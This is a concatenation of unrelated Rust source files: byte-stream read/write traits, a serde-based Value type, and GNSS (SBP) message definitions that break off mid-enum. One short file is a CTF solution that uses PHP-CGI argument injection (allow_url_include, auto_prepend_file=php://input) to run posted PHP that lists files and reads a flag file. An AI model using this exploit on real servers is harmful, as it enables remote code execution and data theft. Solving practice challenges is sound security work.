((buf[1] as u64) << 8) | ((buf[2] as u64) << 16) | ((buf[3] as u64) << 24) | ((buf[4] as u64) << 32) | ((buf[5] as u64) << 40) | ((buf[6] as u64) << 48) | ((buf[7] as u64) << 56) ) } fn read_i64(&mut self) -> io::Result<i64> { Ok(try!(self.read_u64()) as i64) } fn read_f32(&mut self) -> io::Result<f32> { self.read_u32().map(|i| unsafe { mem::transmute::<u32, f32>(i) }) } fn read_f64(&mut self) -> io::Result<f64> { self.read_u64().map(|i| unsafe { mem::transmute::<u64, f64>(i) }) } fn read_bool(&mut self) -> io::Result<bool> { Ok(try!(self.read_u8()) != 0 ) } fn read_string(&mut self) -> io::Result<String> { let length = try!(self.read_u16()) as usize; let mut buf = vec![0u8; length]; try!(self.read(&mut buf)); match String::from_utf8(buf) { Ok(s) => Ok(s), Err(_) => Err(io::Error::new(io::ErrorKind::InvalidInput, "invalid input")), } } fn read_var_u16(&mut self) -> io::Result<u16> { let mut value: u16 = 0; let mut offset = 0; while offset < 16 { let b = try!(self.read_u8()); value |= ((b as u16) & 0x7F) << (offset); if (b & 0x80) == 0 { return Ok(value); } offset += 7; } Err(io::Error::new(io::ErrorKind::InvalidInput, "too much data")) } fn read_var_i16(&mut self) -> io::Result<i16> { Ok(try!(self.read_var_u16()) as i16) } fn read_var_u32(&mut self) -> io::Result<u32> { let mut value: u32 = 0; let mut offset = 0; while offset < 32 { let b = try!(self.read_u8()); value |= ((b as u32) & 0x7F) << (offset); if (b & 0x80) == 0 { return Ok(value); } offset += 7; } Err(io::Error::new(io::ErrorKind::InvalidInput, "too much data")) } fn read_var_i32(&mut self) -> io::Result<i32> { Ok(try!(self.read_var_u32()) as i32) } fn read_var_u64(&mut self) -> io::Result<u64> { let mut value: u64 = 0; let mut offset = 0; while offset < 64 { let b = try!(self.read_u8()); value |= ((b as u64) & 0x7F) << (offset); if (b & 0x80) == 0 { return Ok(value); } offset += 7; } Err(io::Error::new(io::ErrorKind::InvalidInput, "too much data")) } fn read_var_i64(&mut self) -> io::Result<i64> { Ok(try!(self.read_var_u64()) as i64) } } impl<R: io::Read> ReadExt for R { } pub trait WriteExt : io::Write { fn write_u8(&mut self, value: u8) -> io::Result<()> { self.write_all(&[value]) } fn write_i8(&mut self, value: i8) -> io::Result<()> { self.write_u8(value as u8) } fn write_u16(&mut self, value: u16) -> io::Result<()> { self.write_all(unsafe { & mem::transmute::<_, [u8 ; 2]>(value.to_le()) }) } fn write_i16(&mut self, value: i16) -> io::Result<()> { self.write_u16(value as u16) } fn write_u32(&mut self, value: u32) -> io::Result<()> { self.write_all(unsafe { & mem::transmute::<_, [u8 ; 4]>(value.to_le()) }) } fn write_i32(&mut self, value: i32) -> io::Result<()> { self.write_u32(value as u32) } fn write_u64(&mut self, value: u64) -> io::Result<()> { self.write_all(unsafe { & mem::transmute::<_, [u8 ; 8]>(value.to_le()) }) } fn write_i64(&mut self, value: i64) -> io::Result<()> { self.write_u64(value as u64) } fn write_f32(&mut self, value: f32) -> io::Result<()> { unsafe { self.write_u32(mem::transmute(value)) } } fn write_f64(&mut self, value: f64) -> io::Result<()> { unsafe { self.write_u64(mem::transmute(value)) } } fn write_bool(&mut self, value: bool) -> io::Result<()> { self.write_u8(value as u8) } fn write_string(&mut self, value: String) -> io::Result<()> { match self.write_u16(value.len() as u16) { Ok(_) => self.write_all(value.as_bytes()), Err(e) => Err(e) } } fn write_var_u16(&mut self, value: u16) -> io::Result<()> { self.write_var_u64(value as u64) } fn write_var_i16(&mut self, value: i16) -> io::Result<()> { self.write_var_u64(value as u64) } fn write_var_u32(&mut self, value: u32) -> io::Result<()> { self.write_var_u64(value as u64) } fn write_var_i32(&mut self, value: i32) -> io::Result<()> { self.write_var_u64(value as u64) } fn write_var_u64(&mut self, mut value: u64) -> io::Result<()> { while value & !0x7F != 0 { try!(self.write_u8((0x80 | (value & 0x7F)) as u8)); value = value >> 7; } try!(self.write_u8(value as u8)); Ok(()) } fn write_var_i64(&mut self, value: i64) -> io::Result<()> { self.write_var_u64(value as u64) } } impl<R: io::Write> WriteExt for R { } #[cfg(test)] mod test { // TODO }
pub mod title; pub mod course; pub enum Content { TITLE(title::Title), COURSE1(course::Course), COURSE2(course::Course), COURSE3(course::Course), COURSE4(course::Course), COURSE5(course::Course), COURSE6(course::Course), } pub struct Scene { content: Content, next_scene: Content }
// cargo-deps: reqwest = "0.8.5" extern crate reqwest; use reqwest::{Client, Url}; fn main() { const URL: &str = "http://ctfq.sweetduet.info:10080/~q12/index.php"; let mut url = Url::parse(URL).unwrap(); const QUERY: &str = "-d+allow_url_include%3DOn+-d+auto_prepend_file%3Dphp://input"; url.set_query(Some(QUERY)); let client = Client::new(); const CODE: &str = r#" <?php echo "foo"; $res_dir = opendir('.'); while ($file_name = readdir($res_dir)) { print "$file_name\n"; } readfile('flag_flag_flag.txt'); closedir($res_dir); ?> "#; let mut response = client.post(url).body(CODE).send().unwrap(); let body = response.text().unwrap(); println!("{}", body); }
//! Maths formats parsers and emitters. #[cfg(feature = "mathml")] pub mod mathml; use std::io::{BufRead, Write}; use ast::Node; use error::*; pub trait Format { fn read<R>(read: &mut R) -> Result<Node> where R: BufRead; fn write<W>(node: &Node, write: &mut W) -> Result<()> where W: Write; }
/// Formatting macro for constructing `Ident`s. /// /// <br> /// /// # Syntax /// /// Syntax is copied from the [`format!`] macro, supporting both positional and /// named arguments. #[macro_export] macro_rules! format_ident { ($($fmt:tt)*) => { $crate::Ident::new(format!($($fmt)*)) }; }
use std::collections::HashMap; use std::fmt; use indexmap::IndexMap; use serde::de::{ Deserialize, DeserializeOwned, Deserializer, IntoDeserializer, MapAccess, SeqAccess, Visitor, }; use serde::ser::{Serialize, Serializer}; use self::de::{Error as DeError, ValueDeserializer}; use self::ser::ValueSerializer; pub use self::array::Array; pub use self::entry::Entry; pub use self::error::Error; pub use self::key::Key; pub use self::table::Table; mod array; mod entry; mod error; mod key; mod table; pub(crate) mod de; pub(crate) mod ser; pub fn from_value<T>(value: Value) -> Result<T, Error> where T: DeserializeOwned, { T::deserialize(ValueDeserializer::new(&value)).map_err(Error::custom) } pub fn to_value<T>(value: T) -> Result<Value, Error> where T: Serialize, { value.serialize(ValueSerializer).map_err(Error::custom) } #[derive(Clone, Debug, PartialEq)] pub enum Value { Entry(Entry), Array(Array), Table(Table), } impl Value { pub fn entry() -> Self { Value::Entry(Entry::new()) } pub fn table() -> Self { Value::Table(Table::new()) } pub fn array() -> Self { Value::Array(Array::new()) } pub fn get<'de, K, V>(&'de self, key: K) -> Result<V, Error> where K: Into<Key>, V: 'de + Deserialize<'de>, { match self { Value::Entry(_) => Err(Error::custom("call `get` on entry variant")), Value::Array(array) => array.get(key), Value::Table(table) => table.get(key), } } pub fn set<K, V>(&mut self, key: K, value: V) -> Result<&mut Self, Error> where K: Into<Key>, V: Serialize, { let key = key.into(); match key.peek() { Some(head) => match self { Value::Entry(_) => match head.parse::<usize>() { Ok(_) => { let mut array = Value::array(); array.set(key, value)?; *self = array; Ok(self) } Err(_) => { let mut table = Value::table(); table.set(key, value)?; *self = table; Ok(self) } }, Value::Array(array) => match head.parse::<usize>() { Ok(_) => { array.set(key, value)?; Ok(self) } Err(_) => { let mut table = Value::table(); for (index, item) in array.into_iter().enumerate() { table.set(index, item)?; } table.set(key, value)?; *self = table; Ok(self) } }, Value::Table(table) => { table.set(key, value)?; Ok(self) } }, None => Err(Error::custom("empty key")), } } pub fn is_entry(&self) -> bool { match self { Value::Entry(_) => true, _ => false, } } pub fn as_entry(&self) -> Option<&Entry> { match self { Value::Entry(entry) => Some(entry), _ => None, } } pub fn is_array(&self) -> bool { match self { Value::Array(_) => true, _ => false, } } pub fn as_array(&self) -> Option<&Array> { match self { Value::Array(array) => Some(array), _ => None, } } pub fn is_table(&self) -> bool { match self { Value::Table(_) => true, _ => false, } } pub fn as_table(&self) -> Option<&Table> { match self { Value::Table(table) => Some(table), _ => None, } } } impl Serialize for Value { fn serialize<S>(&self, serializer: S) -> Result<S::Ok, S::Error> where S: Serializer, { match self { Value::Entry(entry) => entry.serialize(serializer), Value::Array(array) => array.serialize(serializer), Value::Table(table) => table.serialize(serializer), } } } impl<'de> Deserialize<'de> for Value { fn deserialize<D>(deserializer: D) -> Result<Value, D::Error> where D: Deserializer<'de>, { pub struct ValueVisitor; impl<'de> Visitor<'de> for ValueVisitor { type Value = Value; fn expecting(&self, formatter: &mut fmt::Formatter) -> fmt::Result { formatter.write_str("a valid value") } fn visit_bool<E>(self, value: bool) -> Result<Self::Value, E> { Ok(Value::from(value)) } fn visit_i64<E>(self, value: i64) -> Result<Self::Value, E> { Ok(Value::from(value)) } fn visit_i128<E>(self, value: i128) -> Result<Self::Value, E> { Ok(Value::from(value)) } fn visit_u64<E>(self, value: u64) -> Result<Self::Value, E> { Ok(Value::from(value)) } fn visit_u128<E>(self, value: u128) -> Result<Self::Value, E> { Ok(Value::from(value)) } fn visit_f32<E>(self, value: f32) -> Result<Self::Value, E> { Ok(Value::from(value)) } fn visit_f64<E>(self, value: f64) -> Result<Self::Value, E> { Ok(Value::from(value)) } fn visit_str<E>(self, value: &str) -> Result<Self::Value, E> { Ok(Value::from(value)) } fn visit_string<E>(self, value: String) -> Result<Value, E> { Ok(Value::from(value)) } fn visit_some<D>(self, deserializer: D) -> Result<Self::Value, D::Error> where D: Deserializer<'de>, { Deserialize::deserialize(deserializer) } fn visit_seq<V>(self, mut visitor: V) -> Result<Self::Value, V::Error> where V: SeqAccess<'de>, { let mut vec = Vec::new(); while let Some(elem) = visitor.next_element()? { vec.push(elem); } Ok(Value::from(vec)) } fn visit_map<V>(self, mut visitor: V) -> Result<Self::Value, V::Error> where V: MapAccess<'de>, { let mut map = IndexMap::new(); while let Some(key) = visitor.next_key()? { map.insert(key, visitor.next_value()?); } Ok(Value::from(map)) } } deserializer.deserialize_any(ValueVisitor) } } impl<'de> IntoDeserializer<'de, DeError> for &'de Value { type Deserializer = ValueDeserializer<'de>; fn into_deserializer(self) -> Self::Deserializer { ValueDeserializer::new(self) } } impl From<Entry> for Value { fn from(value: Entry) -> Self { Value::Entry(value) } } impl From<Array> for Value { fn from(value: Array) -> Self { Value::Array(value) } } impl From<Table> for Value { fn from(value: Table) -> Self { Value::Table(value) } } impl From<bool> for Value { fn from(value: bool) -> Self { Value::Entry(Entry::from(value)) } } impl From<i8> for Value { fn from(value: i8) -> Self { Value::Entry(Entry::from(value)) } } impl From<i16> for Value { fn from(value: i16) -> Self { Value::Entry(Entry::from(value)) } } impl From<i32> for Value { fn from(value: i32) -> Self { Value::Entry(Entry::from(value)) } } impl From<i64> for Value { fn from(value: i64) -> Self { Value::Entry(Entry::from(value)) } } impl From<i128> for Value { fn from(value: i128) -> Self { Value::Entry(Entry::from(value)) } } impl From<u8> for Value { fn from(value: u8) -> Self { Value::Entry(Entry::from(value)) } } impl From<u16> for Value { fn from(value: u16) -> Self { Value::Entry(Entry::from(value)) } } impl From<u32> for Value { fn from(value: u32) -> Self { Value::Entry(Entry::from(value)) } } impl From<u64> for Value { fn from(value: u64) -> Self { Value::Entry(Entry::from(value)) } } impl From<u128> for Value { fn from(value: u128) -> Self { Value::Entry(Entry::from(value)) } } impl From<f32> for Value { fn from(value: f32) -> Self { Value::Entry(Entry::from(value)) } } impl From<f64> for Value { fn from(value: f64) -> Self { Value::Entry(Entry::from(value)) } } impl From<char> for Value { fn from(value: char) -> Self { Value::Entry(Entry::from(value)) } } impl From<&str> for Value { fn from(value: &str) -> Self { Value::Entry(Entry::from(value)) } } impl From<String> for Value { fn from(value: String) -> Self { Value::Entry(Entry::from(value)) } } impl From<Vec<Value>> for Value { fn from(value: Vec<Value>) -> Self { Value::Array(Array::from(value)) } } impl From<HashMap<String, Value>> for Value { fn from(value: HashMap<String, Value>) -> Self { Value::Table(Table::from(value)) } } impl From<IndexMap<String, Value>> for Value { fn from(value: IndexMap<String, Value>) -> Self { Value::Table(Table::from(value)) } } #[cfg(test)] mod tests { use super::{Array, Entry, Table, Value}; #[test] fn test_entry() { assert!(Value::entry().is_entry()); assert!(!Value::entry().is_array()); assert!(!Value::entry().is_table()); assert!(Value::from(Entry::new()).is_entry()); assert_eq!(Value::entry().as_entry(), Some(&Entry::new())); assert_eq!( Value::from("hi").as_entry(), Some(&Entry(String::from("hi"))) ); assert_eq!( Value::from(String::from("hello")).as_entry(), Some(&Entry(String::from("hello"))) ); } #[test] fn test_array() { assert!(Value::array().is_array()); assert!(!Value::array().is_entry()); assert!(!Value::array().is_table()); assert!(Value::from(Array::new()).is_array()); assert_eq!(Value::array().as_array(), Some(&Array::new())); } #[test] fn test_table() { assert!(Value::table().is_table()); assert!(!Value::table().is_entry()); assert!(!Value::table().is_array()); assert!(Value::from(Table::new()).is_table()); assert_eq!(Value::table().as_table(), Some(&Table::new())); } }
pub mod behaviour; pub mod manifest; pub mod params; pub mod utils;
// Copyright (C) 2015-2021 Swift Navigation Inc. // Contact: https://support.swiftnav.com // // This source is subject to the license found in the file 'LICENSE' which must // be be distributed together with this source. All other rights reserved. // // THIS CODE AND INFORMATION IS PROVIDED "AS IS" WITHOUT WARRANTY OF ANY KIND, // EITHER EXPRESSED OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE IMPLIED // WARRANTIES OF MERCHANTABILITY AND/OR FITNESS FOR A PARTICULAR PURPOSE. pub mod acquisition; pub mod bootload; pub mod ext_events; pub mod file_io; pub mod flash; pub mod gnss; pub mod imu; pub mod linux; pub mod logging; pub mod mag; pub mod navigation; pub mod ndb; pub mod observation; pub mod orientation; pub mod piksi; pub mod sbas; pub mod settings; pub mod solution_meta; pub mod ssr; pub mod system; pub mod tracking; pub mod unknown; pub mod user; pub mod vehicle; use self::acquisition::MsgAcqResult; use self::acquisition::MsgAcqResultDepA; use self::acquisition::MsgAcqResultDepB; use self::acquisition::MsgAcqResultDepC; use self::acquisition::MsgAcqSvProfile; use self::acquisition::MsgAcqSvProfileDep; use self::bootload::MsgBootloaderHandshakeDepA; use self::bootload::MsgBootloaderHandshakeReq; use self::bootload::MsgBootloaderHandshakeResp; use self::bootload::MsgBootloaderJumpToApp; use self::bootload::MsgNapDeviceDnaReq; use self::bootload::MsgNapDeviceDnaResp; use self::ext_events::MsgExtEvent; use self::file_io::MsgFileioConfigReq; use self::file_io::MsgFileioConfigResp; use self::file_io::MsgFileioReadDirReq; use self::file_io::MsgFileioReadDirResp; use self::file_io::MsgFileioReadReq; use self::file_io::MsgFileioReadResp; use self::file_io::MsgFileioRemove; use self::file_io::MsgFileioWriteReq; use self::file_io::MsgFileioWriteResp; use self::flash::MsgFlashDone; use self::flash::MsgFlashErase; use self::flash::MsgFlashProgram; use self::flash::MsgFlashReadReq; use self::flash::MsgFlashReadResp; use self::flash::MsgM25FlashWriteStatus; use self::flash::MsgStmFlashLockSector; use self::flash::MsgStmFlashUnlockSector; use self::flash::MsgStmUniqueIdReq; use self::flash::MsgStmUniqueIdResp; use self::imu::MsgImuAux; use self::imu::MsgImuRaw; use self::linux::MsgLinuxCpuState; use self::linux::MsgLinuxCpuStateDepA; use self::linux::MsgLinuxMemState; use self::linux::MsgLinuxMemStateDepA; use self::linux::MsgLinuxProcessFdCount; use self::linux::MsgLinuxProcessFdSummary; use self::linux::MsgLinuxProcessSocketCounts; use self::linux::MsgLinuxProcessSocketQueues; use self::linux::MsgLinuxSocketUsage; use self::linux::MsgLinuxSysState; use self::linux::MsgLinuxSysStateDepA; use self::logging::MsgFwd; use self::logging::MsgLog; use self::logging::MsgPrintDep; use self::mag::MsgMagRaw; use self::navigation::MsgAgeCorrections; use self::navigation::MsgBaselineECEF; use self::navigation::MsgBaselineECEFDepA; use self::navigation::MsgBaselineHeadingDepA; use self::navigation::MsgBaselineNED; use self::navigation::MsgBaselineNEDDepA; use self::navigation::MsgDops; use self::navigation::MsgDopsDepA; use self::navigation::MsgGPSTime; use self::navigation::MsgGPSTimeDepA; use self::navigation::MsgGPSTimeGnss; use self::navigation::MsgPosECEF; use self::navigation::MsgPosECEFCov; use self::navigation::MsgPosECEFCovGnss; use self::navigation::MsgPosECEFDepA; use self::navigation::MsgPosECEFGnss; use self::navigation::MsgPosLLH; use self::navigation::MsgPosLLHAcc; use self::navigation::MsgPosLLHCov; use self::navigation::MsgPosLLHCovGnss; use self::navigation::MsgPosLLHDepA; use self::navigation::MsgPosLLHGnss; use self::navigation::MsgProtectionLevel; use self::navigation::MsgProtectionLevelDepA; use self::navigation::MsgUtcTime; use self::navigation::MsgUtcTimeGnss; use self::navigation::MsgVelBody; use self::navigation::MsgVelECEF; use self::navigation::MsgVelECEFCov; use self::navigation::MsgVelECEFCovGnss; use self::navigation::MsgVelECEFDepA; use self::navigation::MsgVelECEFGnss; use self::navigation::MsgVelNED; use self::navigation::MsgVelNEDCov; use self::navigation::MsgVelNEDCovGnss; use self::navigation::MsgVelNEDDepA; use self::navigation::MsgVelNEDGnss; use self::ndb::MsgNdbEvent; use self::observation::MsgAlmanacGPS; use self::observation::MsgAlmanacGPSDep; use self::observation::MsgAlmanacGlo; use self::observation::MsgAlmanacGloDep; use self::observation::MsgBasePosECEF; use self::observation::MsgBasePosLLH; use self::observation::MsgEphemerisBds; use self::observation::MsgEphemerisDepA; use self::observation::MsgEphemerisDepB; use self::observation::MsgEphemerisDepC; use self::observation::MsgEphemerisDepD; use self::observation::MsgEphemerisGPS; use self::observation::MsgEphemerisGPSDepE; use self::observation::MsgEphemerisGPSDepF; use self::observation::MsgEphemerisGal; use self::observation::MsgEphemerisGalDepA; use self::observation::MsgEphemerisGlo; use self::observation::MsgEphemerisGloDepA; use self::observation::MsgEphemerisGloDepB; use self::observation::MsgEphemerisGloDepC; use self::observation::MsgEphemerisGloDepD; use self::observation::MsgEphemerisQzss; use self::observation::MsgEphemerisSbas; use self::observation::MsgEphemerisSbasDepA; use self::observation::MsgEphemerisSbasDepB; use self::observation::MsgGloBiases; use self::observation::MsgGnssCapb; use self::observation::MsgGroupDelay; use self::observation::MsgGroupDelayDepA; use self::observation::MsgGroupDelayDepB; use self::observation::MsgIono; use self::observation::MsgObs; use self::observation::MsgObsDepA; use self::observation::MsgObsDepB; use self::observation::MsgObsDepC; use self::observation::MsgOsr; use self::observation::MsgSvAzEl; use self::observation::MsgSvConfigurationGPSDep; use self::orientation::MsgAngularRate; use self::orientation::MsgBaselineHeading; use self::orientation::MsgOrientEuler; use self::orientation::MsgOrientQuat; use self::piksi::MsgAlmanac; use self::piksi::MsgCellModemStatus; use self::piksi::MsgCommandOutput; use self::piksi::MsgCommandReq; use self::piksi::MsgCommandResp; use self::piksi::MsgCwResults; use self::piksi::MsgCwStart; use self::piksi::MsgDeviceMonitor; use self::piksi::MsgFrontEndGain; use self::piksi::MsgIarState; use self::piksi::MsgInitBaseDep; use self::piksi::MsgMaskSatellite; use self::piksi::MsgMaskSatelliteDep; use self::piksi::MsgNetworkBandwidthUsage; use self::piksi::MsgNetworkStateReq; use self::piksi::MsgNetworkStateResp; use self::piksi::MsgReset; use self::piksi::MsgResetDep; use self::piksi::MsgResetFilters; use self::piksi::MsgSetTime; use self::piksi::MsgSpecan; use self::piksi::MsgSpecanDep; use self::piksi::MsgThreadState; use self::piksi::MsgUartState; use self::piksi::MsgUartStateDepa; use self::sbas::MsgSbasRaw; use self::settings::MsgSettingsReadByIndexDone; use self::settings::MsgSettingsReadByIndexReq; use self::settings::MsgSettingsReadByIndexResp; use self::settings::MsgSettingsReadReq; use self::settings::MsgSettingsReadResp; use self::settings::MsgSettingsRegister; use self::settings::MsgSettingsRegisterResp; use self::settings::MsgSettingsSave; use self::settings::MsgSettingsWrite; use self::settings::MsgSettingsWriteResp; use self::solution_meta::MsgSolnMeta; use self::solution_meta::MsgSolnMetaDepA; use self::ssr::MsgSsrCodeBiases; use self::ssr::MsgSsrGridDefinitionDepA; use self::ssr::MsgSsrGriddedCorrection; use self::ssr::MsgSsrGriddedCorrectionDepA; use self::ssr::MsgSsrGriddedCorrectionNoStdDepA; use self::ssr::MsgSsrOrbitClock; use self::ssr::MsgSsrOrbitClockDepA; use self::ssr::MsgSsrPhaseBiases; use self::ssr::MsgSsrSatelliteApc; use self::ssr::MsgSsrStecCorrection; use self::ssr::MsgSsrStecCorrectionDepA; use self::ssr::MsgSsrTileDefinition; use self::system::MsgCsacTelemetry; use self::system::MsgCsacTelemetryLabels; use self::system::MsgDgnssStatus; use self::system::MsgGnssTimeOffset; use self::system::MsgGroupMeta; use self::system::MsgHeartbeat; use self::system::MsgInsStatus; use self::system::MsgInsUpdates; use self::system::MsgPpsTime; use self::system::MsgStartup; use self::system::MsgStatusReport; use self::tracking::MsgMeasurementState; use self::tracking::MsgTrackingIq; use self::tracking::MsgTrackingIqDepA; use self::tracking::MsgTrackingIqDepB; use self::tracking::MsgTrackingState; use self::tracking::MsgTrackingStateDepA; use self::tracking::MsgTrackingStateDepB; use self::tracking::MsgTrackingStateDetailedDep; use self::tracking::MsgTrackingStateDetailedDepA; use self::unknown::Unknown; use self::user::MsgUserData; use self::vehicle::MsgOdometry; use self::vehicle::MsgWheeltick; use crate::serialize::SbpSerialize; pub trait SBPMessage: SbpSerialize { fn get_message_name(&self) -> &'static str; fn get_message_type(&self) -> u16; fn get_sender_id(&self) -> Option<u16>; fn set_sender_id(&mut self, new_id: u16); fn to_frame(&self) -> std::result::Result<Vec<u8>, crate::FramerError>; fn write_frame(&self, buf: &mut Vec<u8>) -> std::result::Result<(), crate::FramerError>; #[cfg(feature = "swiftnav-rs")] fn gps_time( &self, ) -> Option<std::result::Result<crate::time::MessageTime, crate::time::GpsTimeError>> { None } } pub trait ConcreteMessage: SBPMessage + std::convert::TryFrom<SBP, Error = TryFromSBPError> + Clone + Sized { const MESSAGE_TYPE: u16; const MESSAGE_NAME: &'static str; } #[derive(Debug, Clone)] pub struct TryFromSBPError; impl std::fmt::Display for TryFromSBPError { fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result { write!(f, "invalid message type for conversion") } } impl std::error::Error for TryFromSBPError {} #[cfg_attr(feature = "sbp_serde", derive(serde::Serialize), serde(untagged))] #[derive(Debug, Clone)] pub enum SBP { MsgPrintDep(MsgPrintDep), MsgTrackingStateDetailedDep(MsgTrackingStateDetailedDep), MsgTrackingStateDepB(MsgTrackingStateDepB), MsgAcqResultDepB(MsgAcqResultDepB), MsgAcqResultDepA(MsgAcqResultDepA), MsgTrackingStateDepA(MsgTrackingStateDepA), MsgThreadState(MsgThreadState), MsgUartStateDepa(MsgUartStateDepa), MsgIarState(MsgIarState), MsgEphemerisDepA(MsgEphemerisDepA), MsgMaskSatelliteDep(MsgMaskSatelliteDep), MsgTrackingIqDepA(MsgTrackingIqDepA), MsgUartState(MsgUartState), MsgAcqSvProfileDep(MsgAcqSvProfileDep), MsgAcqResultDepC(MsgAcqResultDepC), MsgTrackingStateDetailedDepA(MsgTrackingStateDetailedDepA), MsgResetFilters(MsgResetFilters), MsgInitBaseDep(MsgInitBaseDep), MsgMaskSatellite(MsgMaskSatellite), MsgTrackingIqDepB(MsgTrackingIqDepB), MsgTrackingIq(MsgTrackingIq), MsgAcqSvProfile(MsgAcqSvProfile), MsgAcqResult(MsgAcqResult), MsgTrackingState(MsgTrackingState), MsgObsDepB(MsgObsDepB), MsgBasePosLLH(MsgBasePosLLH), MsgObsDepA(MsgObsDepA), MsgEphemerisDepB(MsgEphemerisDepB), MsgEphemerisDepC(MsgEphemerisDepC), MsgBasePosECEF(MsgBasePosECEF), MsgObsDepC(MsgObsDepC), MsgObs(MsgObs), MsgSpecanDep(MsgSpecanDep), MsgSpecan(MsgSpecan), MsgMeasurementState(MsgMeasurementState), MsgSetTime(MsgSetTime), MsgAlmanac(MsgAlmanac), MsgAlmanacGPSDep(MsgAlmanacGPSDep), MsgAlmanacGloDep(MsgAlmanacGloDep), MsgAlmanacGPS(MsgAlmanacGPS), MsgAlmanacGlo(MsgAlmanacGlo), MsgGloBiases(MsgGloBiases), MsgEphemerisDepD(MsgEphemerisDepD), MsgEphemerisGPSDepE(MsgEphemerisGPSDepE), MsgEphemerisSbasDepA(MsgEphemerisSbasDepA), MsgEphemerisGloDepA(MsgEphemerisGloDepA), MsgEphemerisSbasDepB(MsgEphemerisSbasDepB), MsgEphemerisGloDepB(MsgEphemerisGloDepB), MsgEphemerisGPSDepF(MsgEphemerisGPSDepF), MsgEphemerisGloDepC(MsgEphemerisGloDepC), MsgEphemerisGloDepD(MsgEphemerisGloDepD), MsgEphemerisBds(MsgEphemerisBds), MsgEphemerisGPS(MsgEphemerisGPS), MsgEphemerisGlo(MsgEphemerisGlo), MsgEphemerisSbas(MsgEphemerisSbas), MsgEphemerisGal(MsgEphemerisGal), MsgEphemerisQzss(MsgEphemerisQzss), MsgIono(MsgIono), MsgSvConfigurationGPSDep(MsgSvConfigurationGPSDep), MsgGroupDelayDepA(MsgGroupDelayDepA), MsgGroupDelayDepB(MsgGroupDelayDepB), MsgGroupDelay(MsgGroupDelay), MsgEphemerisGalDepA(MsgEphemerisGalDepA), MsgGnssCapb(MsgGnssCapb), MsgSvAzEl(MsgSvAzEl), MsgSettingsWrite(MsgSettingsWrite), MsgSettingsSave(MsgSettingsSave), MsgSettingsReadByIndexReq(MsgSettingsReadByIndexReq), MsgFileioReadResp(MsgFileioReadResp), MsgSettingsReadReq(MsgSettingsReadReq), MsgSettingsReadResp(MsgSettingsReadResp), MsgSettingsReadByIndexDone(MsgSettingsReadByIndexDone), MsgSettingsReadByIndexResp(MsgSettingsReadByIndexResp), MsgFileioReadReq(MsgFileioReadReq), MsgFileioReadDirReq(MsgFileioReadDirReq), MsgFileioReadDirResp(MsgFileioReadDirResp), MsgFileioWriteResp(MsgFileioWriteResp), MsgFileioRemove(MsgFileioRemove), MsgFileioWriteReq(MsgFileioWriteReq), MsgSettingsRegister(MsgSettingsRegister), MsgSettingsWriteResp(MsgSettingsWriteResp), MsgBootloaderHandshakeDepA(MsgBootloaderHandshakeDepA), MsgBootloaderJumpToApp(MsgBootloaderJumpToApp), MsgResetDep(MsgResetDep), MsgBootloaderHandshakeReq(MsgBootloaderHandshakeReq), MsgBootloaderHandshakeResp(MsgBootloaderHandshakeResp), MsgDeviceMonitor(MsgDeviceMonitor), MsgReset(MsgReset), MsgCommandReq(MsgCommandReq), MsgCommandResp(MsgCommandResp), MsgNetworkStateReq(MsgNetworkStateReq), MsgNetworkStateResp(MsgNetworkStateResp), MsgCommandOutput(MsgCommandOutput), MsgNetworkBandwidthUsage(MsgNetworkBandwidthUsage), MsgCellModemStatus(MsgCellModemStatus), MsgFrontEndGain(MsgFrontEndGain), MsgCwResults(MsgCwResults), MsgCwStart(MsgCwStart), MsgNapDeviceDnaResp(MsgNapDeviceDnaResp), MsgNapDeviceDnaReq(MsgNapDeviceDnaReq), MsgFlashDone(MsgFlashDone), MsgFlashReadResp(MsgFlashReadResp), MsgFlashErase(MsgFlashErase), MsgStmFlashLockSector(MsgStmFlashLockSector), MsgStmFlashUnlockSector(MsgStmFlashUnlockSector), MsgStmUniqueIdResp(MsgStmUniqueIdResp), MsgFlashProgram(MsgFlashProgram), MsgFlashReadReq(MsgFlashReadReq), MsgStmUniqueIdReq(MsgStmUniqueIdReq), MsgM25FlashWriteStatus(MsgM25FlashWriteStatus), MsgGPSTimeDepA(MsgGPSTimeDepA), MsgExtEvent(MsgExtEvent), MsgGPSTime(MsgGPSTime), MsgUtcTime(MsgUtcTime), MsgGPSTimeGnss(MsgGPSTimeGnss), MsgUtcTimeGnss(MsgUtcTimeGnss), MsgSettingsRegisterResp(MsgSettingsRegisterResp), MsgPosECEFDepA(MsgPosECEFDepA), MsgPosLLHDepA(MsgPosLLHDepA), MsgBaselineECEFDepA(MsgBaselineECEFDepA), MsgBaselineNEDDepA(MsgBaselineNEDDepA), MsgVelECEFDepA(MsgVelECEFDepA), MsgVelNEDDepA(MsgVelNEDDepA), MsgDopsDepA(MsgDopsDepA), MsgBaselineHeadingDepA(MsgBaselineHeadingDepA), MsgDops(MsgDops), MsgPosECEF(MsgPosECEF), MsgPosLLH(MsgPosLLH), MsgBaselineECEF(MsgBaselineECEF), MsgBaselineNED(MsgBaselineNED), MsgVelECEF(MsgVelECEF), MsgVelNED(MsgVelNED), MsgBaselineHeading(MsgBaselineHeading), MsgAgeCorrections(MsgAgeCorrections), MsgPosLLHCov(MsgPosLLHCov), MsgVelNEDCov(MsgVelNEDCov), MsgVelBody(MsgVelBody), MsgPosECEFCov(MsgPosECEFCov), MsgVelECEFCov(MsgVelECEFCov), MsgProtectionLevelDepA(MsgProtectionLevelDepA), MsgProtectionLevel(MsgProtectionLevel), MsgPosLLHAcc(MsgPosLLHAcc), MsgOrientQuat(MsgOrientQuat), MsgOrientEuler(MsgOrientEuler), MsgAngularRate(MsgAngularRate), MsgPosECEFGnss(MsgPosECEFGnss), MsgPosLLHGnss(MsgPosLLHGnss), MsgVelECEFGnss(MsgVelECEFGnss), MsgVelNEDGnss(MsgVelNEDGnss), MsgPosLLHCovGnss(MsgPosLLHCovGnss), MsgVelNEDCovGnss(MsgVelNEDCovGnss), MsgPosECEFCovGnss(MsgPosECEFCovGnss), MsgVelECEFCovGnss(MsgVelECEFCovGnss), MsgNdbEvent(MsgNdbEvent), MsgLog(MsgLog), MsgFwd(MsgFwd), MsgSsrOrbitClockDepA(MsgSsrOrbitClockDepA), MsgSsrOrbitClock(MsgSsrOrbitClock), MsgSsrCodeBiases(MsgSsrCodeBiases), MsgSsrPhaseBiases(MsgSsrPhaseBiases), MsgSsrStecCorrectionDepA(MsgSsrStecCorrectionDepA), MsgSsrGriddedCorrectionNoStdDepA(MsgSsrGriddedCorrectionNoStdDepA), 